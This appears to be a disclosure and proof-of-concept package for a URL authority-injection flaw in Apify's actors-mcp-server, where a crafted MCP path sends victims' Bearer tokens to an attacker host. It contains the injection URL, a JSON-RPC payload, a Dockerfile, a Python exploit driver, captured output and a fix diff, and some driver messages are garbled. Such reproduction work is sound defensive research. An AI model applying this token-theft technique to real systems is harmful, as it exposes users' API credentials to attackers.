Apify actors-mcp-server CVE-2026-50143

// src/mcp/actors.ts:44
return `${standbyUrl}${mcpServerPath}`;

https://real-actor-id.apify.actor@attacker.example/mcp

// src/mcp/client.ts:94  - SSEClientTransport requestInit
authorization: `Bearer ${token}`,

// src/mcp/client.ts:103 - SSE fetch callback
headers.set('authorization', `Bearer ${token}`);

// src/mcp/client.ts:124 - StreamableHTTPClientTransport requestInit
authorization: `Bearer ${token}`,

# Build the exploit image (from the mcp_38_apify__actors-mcp-server/ context directory)
docker build -t vuln-001-poc \
  -f vuln-001/Dockerfile \
  /path/to/mcp_38_apify__actors-mcp-server
# Run the exploit (--network none: fully air-gapped)
docker run --rm --network none vuln-001-poc

  parsed.hostname        : 127.0.0.1
[PASS] URL injection confirmed: request will be sent to 127.0.0.1:31337
=== STEP 2: attacker HTTPS server received request ===
  Authorization     : Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345
=== RESULT: EXPLOIT SUCCESSFUL ===
[PROOF] Victim token "Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345" arrived at attacker server 127.0.0.1:31337

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "fetch-actor-details",
    "arguments": {
      "actor": "attacker/malicious-mcp",
      "output": { "mcpTools": true }
    },
    "_meta": { "mcpSessionId": "poc-session" }
  }
}

Authorization: Bearer apify_api_victim_token

node -e "const u=new URL('https://ABC.apify.actor@127.0.0.1:31337/mcp'); console.log(u.hostname, u.username)"
# Output: 127.0.0.1  ABC.apify.actor

--- a/src/mcp/actors.ts
+++ b/src/mcp/actors.ts
 export async function getActorMCPServerURL(realActorId: string, mcpServerPath: string): Promise<string> {
     const standbyUrl = await getActorStandbyURL(realActorId, standbyBaseUrl);
-    return `${standbyUrl}${mcpServerPath}`;
+    const url = new URL(mcpServerPath, `${standbyUrl}/`);
+    if (url.origin !== standbyUrl) {
+        throw new Error('Actor MCP server path must resolve under the Actor standby URL');
+    }
+    url.username = '';
+    url.password = '';
+    return url.toString();
 }

FROM node:24-slim
# ─── system packages ───────────────────────────────────────────────────────────
RUN apt-get update && apt-get install -y --no-install-recommends openssl python3 \
 && rm -rf /var/lib/apt/lists/*
# ─── self-signed TLS cert for the attacker capture server (127.0.0.1) ─────────
# IP SAN required: Node.js rejects certs without SAN matching the requested hostname.
RUN mkdir /certs && \
 openssl req -x509 -newkey rsa:2048 \
 -keyout /certs/key.pem -out /certs/cert.pem \
 -days 1 -nodes \
 -subj '/CN=127.0.0.1' \
 -addext 'subjectAltName=IP:127.0.0.1' \
 2>/dev/null
# ─── vulnerable package ────────────────────────────────────────────────────────
WORKDIR /app
COPY repo/ ./
# pnpm@11 is pinned in devEngines; npm/yarn refuse to run inside this checkout.
RUN npm install -g pnpm@11.1.3 --quiet 2>/dev/null
# Install only production deps - build output not needed; exploit imports from source via tsx.
# --frozen-lockfile validates the lockfile is up-to-date with package.json.
RUN pnpm install --frozen-lockfile
# ─── exploit files ─────────────────────────────────────────────────────────────
COPY vuln-001/exploit.mjs /exploit.mjs
# Trust our self-signed CA so both undici/fetch and node:https accept TLS connections to 127.0.0.1.
ENV NODE_EXTRA_CA_CERTS=/certs/cert.pem

CMD ["node", "/exploit.mjs"]

#!/usr/bin/env python3
"""
VULN-001 dynamic PoC driver.

Builds the Docker image, runs the exploit container, collects observable evidence,
and writes phase2_result.json with the outcome.
"""
import json
import os
import subprocess
import sys
import textwrap
# ─── paths ────────────────────────────────────────────────────────────────────
THIS_DIR    = os.path.dirname(os.path.abspath(__file__))
# vuln-001/
CONTEXT_DIR = os.path.dirname(THIS_DIR)
# mcp_38_apify__actors-mcp-server/
DOCKERFILE  = os.path.join(THIS_DIR, 'Dockerfile')
RESULT_PATH = os.path.join(THIS_DIR, 'phase2_result.json')
IMAGE_TAG   = 'vuln-001-poc'

BUILD_CMD = ['docker', 'build', '-t', IMAGE_TAG, '-f', DOCKERFILE, CONTEXT_DIR]
RUN_CMD   = ['docker', 'run', '--rm', '--network', 'none', IMAGE_TAG]


def run(cmd, *, timeout, **kwargs):
    return subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, **kwargs)


def write_result(payload: dict):
    with open(RESULT_PATH, 'w') as f:
        json.dump(payload, f, indent=2, ensure_ascii=False)
    print(f'\n[*] phase2_result.json write complete: {RESULT_PATH}')


def main():
    print('=' * 70)
    print('VULN-001 dynamic reproduction - Actor MCP path authority injection')
    print('=' * 70)
# ── 1. Docker build ───────────────────────────────────────────────────────
    print(f'\n[1/2] building Docker image...')
    print(f'      command: {" ".join(BUILD_CMD)}')
    build = run(BUILD_CMD, timeout=600)
    if build.returncode != 0:
        msg = build.stderr[-2000:] if build.stderr else build.stdout[-2000:]
        print('[!] build failed:\n', msg)
        write_result({
            'passed': False,
            'verdict': 'FAIL',
            'reason': f'Docker build failed. error: {msg[:500]}',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 {os.path.relpath(__file__)}',
            'evidence': msg[:1000],
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)
    print('[+] build succeeded')
# ── 2. Docker run ─────────────────────────────────────────────────────────
    print(f'\n[2/2] text while running the container...')
    print(f'      command: {" ".join(RUN_CMD)}')
    try:
        run_result = run(RUN_CMD, timeout=120)
    except subprocess.TimeoutExpired:
        write_result({
            'passed': False,
            'verdict': 'INCOMPLETE',
            'reason': 'container execution 120seconds timeout. text text or TLS handshake issuetext can exists.',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 {os.path.relpath(__file__)}',
            'evidence': 'timeout',
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)

    stdout = run_result.stdout
    stderr = run_result.stderr
    print('\n--- container stdout ---')
    print(stdout)
    if stderr:
        print('--- container stderr (text 1000characters) ---')
        print(stderr[:1000])
# ── 3. result verdict ──────────────────────────────────────────────────────────
    passed = (
        run_result.returncode == 0
        and 'attacker HTTPS server received request' in stdout
        and 'EXPLOIT SUCCESSFUL' in stdout
        and 'apify_api_VICTIM_SECRET_TOKEN_DEMO_12345' in stdout
    )
# Build evidence excerpt (key lines only)
    evidence_lines = [l for l in stdout.splitlines()
                      if any(k in l for k in ['PASS', 'PROOF', 'received request',
                                               'EXPLOIT', 'parsed.hostname', 'Authorization'])]
    evidence = '\n'.join(evidence_lines[:20]) if evidence_lines else stdout[-1500:]

    if passed:
        print('\n[✓] PASS - token leak vulnerability dynamic reproduction success')
        write_result({
            'passed': True,
            'verdict': 'PASS',
            'reason': (
                'Docker container withintext vulnerabilitytext fully reproductiondone. '
                'actors.ts:44text `${standbyUrl}${mcpServerPath}` string text '
                '`@127.0.0.1:31337/mcp` formtext mcpServerPathtext textdo '
                '`https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp` URLtext createand, '
                'Node.js URL text hostnametext 127.0.0.1(attacker server)text dotextdo '
                'client.ts:94text `Authorization: Bearer <APIFY_TOKEN>` headertext attacker HTTPS servertext beforetextdone.'
            ),
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 poc.py',
            'evidence': evidence,
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
    else:
        reason_detail = ''
        if run_result.returncode != 0:
            reason_detail = f'container exit code {run_result.returncode}. '
        if 'TOKEN_CAPTURED' not in stdout:
            reason_detail += 'attacker serverfrom token capture text textnot not. '
        if 'EXPLOIT SUCCESSFUL' not in stdout:
            reason_detail += 'final success message none. '

        print(f'\n[✗] FAIL - {reason_detail}')
        write_result({
            'passed': False,
            'verdict': 'FAIL',
            'reason': f'failed to reproduce the vulnerability. {reason_detail}stderr: {stderr[:300]}',
            'build_command': ' '.join(BUILD_CMD),
            'run_command': ' '.join(RUN_CMD),
            'poc_command': f'python3 poc.py',
            'evidence': stdout[-2000:] + ('\nSTDERR: ' + stderr[:500] if stderr else ''),
            'artifacts': ['Dockerfile', 'exploit.mjs', 'poc.py'],
        })
        sys.exit(1)


if __name__ == '__main__':
    main()